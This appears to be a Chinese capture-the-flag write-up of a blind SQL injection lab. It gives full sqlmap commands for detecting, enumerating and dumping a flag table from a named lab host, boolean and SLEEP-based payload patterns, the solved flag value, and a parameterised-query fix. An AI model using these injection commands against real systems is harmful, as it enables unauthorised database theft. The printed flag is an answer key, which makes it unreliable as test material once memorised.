
【好靶场】SQL 注入-双引号布尔与时间盲注-21858【好靶场】SQL 注入-双引号布尔与时间盲注-21858一、题目类型与核心难点二、SQLMap 初步验证三、枚举数据库四、枚举表与字段1. 枚举 sql_injection_lab 中的数据表2. 枚举 flag 表字段五、读取目标字段六、手工理解布尔盲注和时间盲注1. 布尔盲注2. 时间盲注七、漏洞成因与修复1. 漏洞成因2. 使用参数化查询3. 其他防护八、总结【好靶场】SQL 注入-双引号布尔与时间盲注-21858声明本文仅记录官方授权隔离靶场中的 CTF 学习过程。文中所有测试均只针对题目给出的地址不得用于未授权目标。靶场接口http://hbc2.haobachang.com:32796/check?id1一、题目类型与核心难点本题的id参数存在 SQL 注入。SQLMap 对该接口的识别结果为Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Type: time-based blind Title: MySQL 5.0.12 AND time-based blind (query SLEEP) back-end DBMS: MySQL 5.0.12 (MariaDB fork)因此本题不是普通的直接回显型注入而是同时具备两条验证路径布尔盲注通过响应内容的真假差异判断条件是否成立 时间盲注通过 SLEEP() 引入的响应延迟判断条件是否成立相较于数字型布尔盲注本题的一个关键难点是**输入位于双引号与右括号构成的 SQL 结构中。**SQLMap 识别到的布尔型 Payload 类似1) AND 22512251 AND (AvXDAvXD可以据此推断后端原始查询大致带有以下结构...WHERE(id用户输入)Payload 的作用为片段作用1保留一个正常的数值输入)闭合后端已有的双引号和外层右括号AND 条件加入要判断的 SQL 条件AND (xx构造后续可正常解析的恒真结构手工测试时必须根据实际响应验证闭合方式不能因为其他端口使用单引号、数字型或)闭合就直接照搬。二、SQLMap 初步验证先清理旧 session再检测id参数sqlmap-uhttp://hbc2.haobachang.com:32796/check?id1\-pid\--batch\--flush-session\--level3\--risk1\--timeout10\--retries1\--threads1参数含义-u 指定待测 URL -p id 只测试 id 参数 --flush-session 删除已有 SQLMap session避免旧缓存干扰 --level3 扩展测试范围 --risk1 保持低风险测试级别 --timeout10 单个 HTTP 请求最多等待 10 秒 --retries1 请求失败时最多重试一次识别结果表明id参数存在Boolean-based blind SQL Injection Time-based blind SQL Injection后端数据库为MySQL / MariaDB三、枚举数据库本题同时支持布尔盲注和时间盲注因此可以让 SQLMap 使用二者sqlmap-uhttp://hbc2.haobachang.com:32796/check?id1\-pid\--techniqueBT\--dbs\--batch\--threads1\--timeout10\--retries1--techniqueBT的含义B Boolean-based blind T Time-based blind在靶场中枚举到的数据库包括information_schema mydb mysql performance_schema sql_injection_lab sys其中sql_injection_lab是题目业务数据所在的目标库。四、枚举表与字段完成注入点确认之后接下来我们指定数据库名sql_injection_lab使用 sqlmap 依次枚举库内的数据表、目标表的字段信息。参数说明--techniqueBT限定只使用布尔盲注 (B)、时间盲注 (T) 两种注入方式和前面探测得到的漏洞类型保持一致避免 union 报错类 payload 无效发包提升扫描效率。1. 枚举 sql_injection_lab 中的数据表执行下述命令读取目标库下所有的数据表sqlmap-uhttp://hbc2.haobachang.com:32796/check?id1\-pid\--techniqueBT\-Dsql_injection_lab\--tables\--batch\--threads1\--timeout10\--retries1扫描完成后成功列出库中全部数据表返回结果包含两张表flag、users。其中flag是目标数据表。2. 枚举 flag 表字段指定数据库-D sql_injection_lab、数据表-T flag搭配--columns参数查询这张表的列名与数据类型sqlmap-uhttp://hbc2.haobachang.com:32796/check?id1\-pid\--techniqueBT\-Dsql_injection_lab\-Tflag\--columns\--batch\--threads1\--timeout10\--retries1如果表结构与题目预期一致可继续指定flag字段进行导出。五、读取目标字段读取 Flag 的命令如下sqlmap-uhttp://hbc2.haobachang.com:32796/check?id1\-pid\--techniqueBT\-Dsql_injection_lab\-Tflag\-Cflag\--dump\--batch\--threads1\--timeout10\--retries1参数说明-D sql_injection_lab 指定数据库 -T flag 指定表名 -C flag 指定字段名 --dump 导出目标字段的数据最终获取到的flag为flag{c15c2358bb64491385cd9c976beb3e31}时间盲注会显著慢于普通查询。对于本题建议保持--threads1优先保证判断稳定只有确认响应稳定时才考虑增加线程数。六、手工理解布尔盲注和时间盲注1. 布尔盲注假设已经确认正确闭合结构则可以构造判断式SUBSTRING((SELECTflagFROMflag),1,1)f含义是取 flag 值的第 1 个字符判断它是否等于 f。如果接口在条件成立与不成立时给出可区分响应就能依次枚举每一个字符。2. 时间盲注当应用没有稳定的真假文本差异时可以用延迟作为判断依据。基本思想为IF(判断条件,SLEEP(5),0)条件成立 → 响应约延迟 5 秒 条件不成立 → 正常快速返回SQLMap 已确认本题可通过SLEEP()构造时间盲注因此在布尔响应不稳定的情况下仍可作为备选路径。七、漏洞成因与修复1. 漏洞成因根因是后端将用户可控的id直接拼接进 SQL。例如user_idrequest.args.get(id,)sqlSELECT 1 FROM users WHERE (id user_id)cursor.execute(sql)攻击者传入的内容会从普通数据变成 SQL 语法的一部分从而干预查询逻辑。2. 使用参数化查询应改用参数绑定raw_idrequest.args.get(id,)try:user_idint(raw_id)exceptValueError:return{error:invalid id},400cursor.execute(SELECT 1 FROM users WHERE id %s LIMIT 1,(user_id,))参数化查询会让数据库驱动把user_id作为数据传递而不是重新按 SQL 代码解析。3. 其他防护除参数化查询外还应采取对id做严格整数校验使用最小权限数据库账户对重复异常请求进行限速、审计和告警避免向客户端返回详细数据库错误不以关键字、引号黑名单作为主要防护手段。八、总结本题的完整思路是定位 GET /check?id1 ↓ SQLMap 检测 id 参数 ↓ 确认双引号闭合下的布尔盲注 ↓ 确认 MySQL / MariaDB 时间盲注可用 ↓ 清除同域名其他端口遗留的 session ↓ 枚举 sql_injection_lab ↓ 枚举 flag 表和 flag 字段 ↓ 使用 --dump 读取目标数据本题最值得注意的两点是1. 闭合方式是双引号与右括号组合而不是前一题的数字型结构。 2. 同一域名的不同端口可能共用 SQLMap 输出目录必须用 --flush-session / --fresh-queries 防止历史数据干扰。